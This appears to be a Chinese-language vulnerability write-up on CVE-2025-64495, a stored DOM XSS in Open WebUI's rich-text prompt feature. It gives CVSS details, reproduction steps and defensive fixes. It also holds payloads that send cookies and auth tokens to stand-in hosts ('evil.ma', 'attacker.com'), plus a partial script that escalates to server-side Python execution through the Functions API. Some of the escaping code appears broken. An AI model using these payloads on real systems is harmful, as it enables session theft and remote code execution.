CVE-2025-64495:Open WebUI存储型DOM XSS漏洞分析与利用
📋 项目概述
CVE-2025-64495是一个影响Open WebUI版本<= 0.6.34的高危安全漏洞。该漏洞属于存储型DOM XSS类型,攻击者可以通过在启用“Insert Prompt as Rich Text”功能时插入恶意提示,利用富文本处理机制执行任意JavaScript代码。
漏洞状态:
- 发布时间: 2025年11月7日
- 修复时间: 2025年11月8日
- 修复版本: Open WebUI
0.6.35 - 漏洞评分: 8.7/10(高危)
⚡ 功能特性与漏洞影响
核心功能分析
- 富文本提示功能 - Open WebUI允许用户以富文本格式插入提示信息
- 多用户协作 - 支持多个用户同时使用和共享提示
- 功能扩展 - 管理员可通过“Functions”功能在服务器端执行Python代码
漏洞影响范围
- 攻击向量:
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - 所需权限: 低 - 任何能够访问提示功能的用户
- 影响版本: Open WebUI
<= 0.6.34
独特价值说明
此漏洞的特殊之处在于将存储型DOM XSS与管理员特权功能结合,可能实现权限提升和远程代码执行,形成了从客户端到服务器端的完整攻击链。
🔧 安装与复现环境
环境要求
- 受影响版本: Open WebUI
<= 0.6.34 - 浏览器环境: 现代浏览器支持JavaScript
- 网络访问: 可访问目标Open WebUI实例
复现步骤
- 部署Open WebUI
0.6.34或更低版本 - 确保启用“Insert Prompt as Rich Text”功能
- 使用低权限账户登录系统
- 在提示输入框中插入恶意XSS payload
依赖项
- 漏洞复现不需要特殊依赖
- 攻击利用可能需要外部服务器接收泄露数据
🚀 使用说明与漏洞利用
基础利用示例
1. Cookie窃取Payload
<!-- 🍪 Cookie窃取示例 -->
<img src=x onerror="fetch('https://evil.ma/log?c='+document.cookie)">
2. JWT令牌窃取
<!-- 🔐 JWT令牌抓取 -->
<script>
new Image().src='https://attacker.com/?token='+localStorage.getItem('auth_token');
</script>
典型攻击场景
场景一:会话劫持
- 攻击者在公共提示中插入恶意脚本
- 管理员或其他用户查看该提示
- 受害者的会话Cookie被发送到攻击者控制的服务器
- 攻击者使用窃取的Cookie接管会话
场景二:权限提升与RCE
- 利用XSS在管理员浏览器中执行脚本
- 通过自动化操作调用管理员的“Functions”功能
- 执行服务器端Python代码
- 实现远程代码执行和系统控制
攻击流程图示
攻击流程遵循以下步骤:
- 入口点: 富文本提示输入
- 触发条件: 其他用户查看包含恶意脚本的提示
- 执行阶段: 浏览器解析并执行恶意JavaScript
- 数据泄露: 敏感信息发送到攻击者服务器
- 权限提升: 可能进一步利用管理员功能
💻 核心代码分析
1. XSS Payload构造代码
<!--
功能:构造基本的XSS攻击载荷
原理:利用img标签的onerror事件执行JavaScript
特点:绕过基本的HTML过滤,直接执行脚本
-->
<img src=x onerror="fetch('https://evil.ma/log?c='+document.cookie)">
<!--
功能:窃取本地存储的认证令牌
原理:使用Image对象发送GET请求,避免CORS限制
特点:隐蔽性好,不易被用户察觉
-->
<script>
new Image().src='https://attacker.com/?token='+localStorage.getItem('auth_token');
</script>
2. 攻击链分析代码
/*
攻击链:从XSS到RCE的完整流程
步骤1:XSS载荷执行
步骤2:识别管理员会话
步骤3:自动化调用Functions API
步骤4:执行服务器端代码
*/
// 检测是否为管理员会话
function checkAdminPrivileges() {
// 通过API端点或UI元素判断管理员权限
return document.querySelector('.admin-menu') !== null;
}
// 自动化执行管理员功能
function exploitRCE() {
if (checkAdminPrivileges()) {
// 构造恶意Python代码执行载荷
const pythonCode = `import os; os.system('恶意命令')`;
// 通过XHR或fetch调用Functions API
fetch('/api/functions/execute', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${localStorage.getItem('token')}`
},
body: JSON.stringify({
code: pythonCode,
function_name: 'malicious_exec'
})
});
}
}
// 主攻击函数
function launchAttack() {
// 初始数据收集
stealCredentials();
// 尝试权限提升
if (isAdminSession) {
exploitRCE();
}
}
3. 漏洞修复建议代码
/*
修复方案:输入过滤和输出编码
策略:在服务器端和客户端实施双重防护
*/
// 服务器端输入过滤
function sanitizeUserInput(input) {
// 移除或转义危险HTML标签
const dangerousTags = /<(script|iframe|object|embed|svg|math).*?>.*?<\/\1>/gi;
const safeInput = input.replace(dangerousTags, '');
// 转义特殊字符
return safeInput
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 客户端输出编码
function safeHTMLOutput(unsafeText) {
const div = document.createElement('div');
div.textContent = unsafeText; // 使用textContent而非innerHTML
return div.innerHTML; // 自动进行HTML实体编码
}
// 富文本内容安全处理
function processRichTextContent(content) {
// 使用受信任的HTML解析器
const parser = new DOMParser();
const doc = parser.parseFromString(content, 'text/html');
// 移除危险属性和事件处理器
const elements = doc.querySelectorAll('[onclick],[onerror],[onload]');
elements.forEach(el => {
el.removeAttribute('onclick');
el.removeAttribute('onerror');
el.removeAttribute('onload');
});
// 返回安全的HTML
return doc.body.innerHTML;
}
📊 漏洞技术细节
攻击向量分析
- 攻击复杂度: 低(AC:L)
- 所需权限: 低(PR:L)
- 用户交互: 需要(UI:R)
- 影响范围: 可改变(S:C)
- 机密性影响: 高(C:H)
- 完整性影响: 高(I:H)
- 可用性影响: 无(A:N)
防御建议
- 及时更新: 升级到Open WebUI
0.6.35或更高版本 - 输入验证: 对所有用户输入实施严格的验证和过滤
- 输出编码: 在显示用户内容时进行适当的HTML编码
- CSP策略: 实施严格的内容安全策略
- 权限分离: 限制低权限用户的功能访问
安全最佳实践
- 定期进行安全审计和代码审查
- 实施最小权限原则
- 使用现代前端框架的安全特性
- 保持所有依赖项的最新版本
- 建立安全事件响应机制FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ7l2v0y6501H+uJanFTEnjm